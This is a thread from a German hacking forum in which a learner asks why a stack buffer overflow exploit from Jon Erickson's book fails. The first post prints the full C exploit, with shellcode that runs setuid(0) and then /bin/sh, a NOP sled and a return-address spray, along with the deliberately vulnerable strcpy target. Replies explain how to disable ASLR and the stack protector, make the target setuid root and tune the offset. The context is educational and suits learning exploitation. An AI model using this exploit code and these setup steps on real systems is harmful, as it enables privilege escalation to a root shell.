| Code Kitchen Allgemeines Coder-Forum rund um das Programmieren eigenständiger, ausführbarer Programme. |
Diskussion: Forbidden Code: Beispielcode funktioniert nicht (Stack Overflow) im Forum Code Kitchen, in der Kategorie Software Home; Anzeige Einst legte ich mir Forbidden Code von Jon Erickson zu. Da findet man folgendes Programm(naja, nicht wirklich, einiges muste ...
![]() |
| | #1 (permalink) |
| Registriert seit: 01.03.09 ![]() Likes: 0 | Anzeige Einst legte ich mir Forbidden Code von Jon Erickson zu. Da findet man folgendes Programm(naja, nicht wirklich, einiges muste angepasst werden, da einiges nach gcc updates nicht mehr so ist, wie es früher mal war). Code: #include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <unistd.h>
char shellcode[] = "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
unsigned long sp(void)
{
__asm__("movl %esp, %eax");
}
int main(int argc, char *argv[])
{
int i, offset;
long esp, ret, *addr_ptr;
char *ptr;
char *buffer = (char *)malloc(600);
offset = 0;
esp = sp();
ret = esp - offset;
printf("Stack pointer (ESP) : 0x%x\n", esp);
printf("Offset from ESP : 0x%x\n", offset);
printf("Desired Return Addr: 0x%x\n", ret);
ptr = buffer;
addr_ptr = (long *) ptr;
for(i=0;i < 600; i+=4)
{
*(addr_ptr++) = ret;
}
for(i=0; i < 200; i++)
{
buffer[i] = '\x90';
}
ptr = buffer + 200;
for(i=0; i < strlen(shellcode); i++)
{
*(ptr++) = shellcode[i];
}
buffer[600-1] = 0;
execl("./vuln", "vuln", buffer, 0);
free(buffer);
return 0;
} Code: #include <cstring>
#include <iostream>
int main(int argc, char *argv[])
{
char buffer[500];
strcpy(buffer, argv[1]);
return 0;
} Ich behaupte Spontan, dass ich den offset anpassen muss, da ich glaube, dass der Exploit nicht so präzise die Rücksprungadresse vom NOP-Sled trifft. Ich bedanke mich schonmal für jede Hilfe ;). |
| | |
| | #2 (permalink) |
| Registriert seit: 17.04.06 ![]() Likes: 3 | Naja, das kann mehrere Ursachen haben. Andere Compiler(versionen/optionen) und Kernelversionen erzeugen anderen Code. Eventuell ist auch irgendein Stacksmashingschutz aktiv.
__________________ http://chm0815.blogspot.com |
| | |
| HaBOT | - Anzeige - |
| |
| | #3 (permalink) | |
| Zitat:
Der Stackpointer ist in jedem Programm in jeder Function variable! Also ESP_ImExploiter != ESP_ImVulnerablenProg. MfG | ||
| | |
| | #4 (permalink) | |||
| Registriert seit: 12.04.09 ![]() Likes: 2 | Zitat:
Das ganze und der richtige Offset kann zu relativ guten Ergebnissen führen (und es ist ganz schön old-sk00l). Nun zu dir NBBN, erstmal den SSP (StackSmashingProtector) ausschalten, sofern das noch nicht geschehen ist: # echo 0 > /proc/sys/kernel/randomize_va_space * Es gibt zwar diverse Möglichkeiten, sowas zu umgehen, aber ich denke die sind atm noch zu fortgeschritten für dich. . Zitat:
Zitat:
Gut, das heisst dann also: schmeiss deinen Debugger an und ermittle den korrekten Offset. Falls du damit Probleme haben solltest, lass es uns wissen. grüsse * Falls du keine root-Rechte haben solltest (warum auch immer
__________________ Code: # define B f[a]
char f[2][26][82],i,j,a=0,c[]="_o",n;main(){B[3][3]=B[3][2]=B[3][1]=B[2][3]=B[1][2]=1;for
(;;){system("clear");for(i=1;i< 25;i++){for(j=1; j<81;j++){printf("%c",c[f[!a][i][j]]);n=B
[i-1][j-1]+B[i-1][j]+B[i-1][j+1]+B[i][j-1]+B[i][j+1]+B[i+1][j-1]+B[i+1][j]+B[i+1][j+1];f[!
a][i][j]=(!B[i][j]&&n==3) ||(B[i][j]&&n>1&&n<4);}puts("");}sleep(1);a=!a;}} | |||
| | |
| | #5 (permalink) |
| Themenstarter Registriert seit: 01.03.09 ![]() Likes: 0 | Hallo, @lone.wolf: Das ist nicht mein Code, wie auch erwähnt... @CiscoKid: Vielen Dank. Ich hab mir schon gedacht, dass eine SSP dahinter steckt, aber habe stattdessen geglaubt, dass sowas nicht standardmäßig aktiviert zu sein scheint. Den Rest bekomme ich alleine gebacken. Mfg, NBBN. |
| | |
| | #6 (permalink) |
| Registriert seit: 29.05.09 ![]() Likes: 0 | Hallo NBBN, also ich hab das Beispiel auch die letzten Tage abgeschrieben und habe es zumindest unter UBUNTU 9.04 nicht zum Laufen bekommen und unter Mac OS x habe ich eben die Error-Msg "segmentation fault" bekommen. Ich rate dir mal, einfach nur zum Test, lade dir mal Ubuntu 4.10 runter: http://old-releases.ubuntu.com/releases/ dann hol dir durch: sudo apt-get install gcc-3.3 den compiler und dann gehts schon los... 1) vuln.c compilieren, dann chown root vuln dann chmod +s vuln machen 2) ggc-3.3 -o exploit exploit.c ausführen und dann durch ./exploit ausführen... dann müsste alles passen! Es ist so, dass die neueren Linux Distributionen den Stack schützen, es gibt angeblich Möglichkeiten, diesen Stack-Schutz aufzuheben aber die letzten 2 Tage habe ich vergebens daran gearbeitet, denn auch wenn ich gcc -fno-stack-protector und -Wno-stack-protector -o exploit exploit.c eingegeben habe und auch die randomize_va_space auf 0 gesetzt habe, habe ich auch ein "segmentation fault" bekommen. Falls du schon weitergekommen bist als ich, würde ich dich bitten, mir die Infos zukommen zu lassen! Ansonsten führ es einfach mit Ubuntu 4.10 aus, diese Version hat noch keinen Stack Schutz implementiert! Hoffe, du hast Freude am Probieren! Liebe Grüße, steppenwoelfin |
| | |
| | #7 (permalink) |
| Registriert seit: 02.12.07 ![]() Likes: 0 | Ähm das gehört jetzt zwar nicht hier hin aber fehlt bei der Funktion "sp()" nicht das Schlüsselwort "return" ? Code: unsigned long sp(void) { __asm__("movl %esp, %eax"); } |
| | |
| | #8 (permalink) |
| Registriert seit: 17.04.06 ![]() Likes: 3 | In eax wird der Rückgabewert gespeichert. Daher wird kein Return mehr benötigt.
__________________ http://chm0815.blogspot.com |
| | |
| | #9 (permalink) |
| Registriert seit: 02.12.07 ![]() Likes: 0 | Achso danke. Aber noch eine Frage, ich habe schon öfters eine "1" hinter einem asm Mnemonic gesehen, hat das irgendeine besondere Bedeutung ? |
| | |
| | #10 (permalink) |
| Registriert seit: 17.04.06 ![]() Likes: 3 | @nookstar: Was du meinst ist vermutlich keine 1 sondern ein l. Zum Beispiel bei movl.Was soviel heißt wie move long.
__________________ http://chm0815.blogspot.com |
| | |
| | #11 (permalink) | |
| Moderator ![]() Registriert seit: 30.06.08 ![]() ![]() ![]() ![]() Likes: 227 | Zitat:
__________________ Wenn ein Gesetz nicht gerecht ist, dann geht die Gerechtigkeit vor dem Gesetz! Habo Blog - http://blog.hackerboard.de/ | |
| | |
| | #12 (permalink) | |
| Registriert seit: 02.12.07 ![]() Likes: 0 | Zitat:
Danke ^^ | |
| | |
| | #13 (permalink) |
| Registriert seit: 29.05.09 ![]() Likes: 0 | Hallo liebes GSI Team! Bitte sieht euch dieses Forum mal genauer an, sind wirklich tolle Leute hier und man kann echt etwas über die Angreifbarkeit lernen und auch weitergeben, sofern man Lust hat! Liebe Grüße, Luna09 / Steppenwoelfin |
| | |
![]() |
| - Anzeige - | |
| |
| Themen-Optionen | |
| Ansicht | |
| |
Ähnliche Themen | ||||
| Thema | Autor | Forum | Antworten | Letzter Beitrag |
| Forbidden Code (Exploits schreiben) | Prometheus | Programmiersprachen | 14 | 03.03.12 11:55 |
| Forbidden Code (deutsch) | boehmi | HaBo-Marktplatz | 5 | 12.05.10 18:26 |
| Buffer Overflow - stack smashing detected | Woosh | (In)security allgemein | 4 | 06.01.09 16:32 |
| Resp.Code 403 "Forbidden" mit PHP und Snoopy | tomfly | (Web-) Design und webbasierte Sprachen | 11 | 25.03.08 16:23 |
| Stack Overflow | harissa | Hacks & Crackmes | 0 | 12.11.07 18:35 |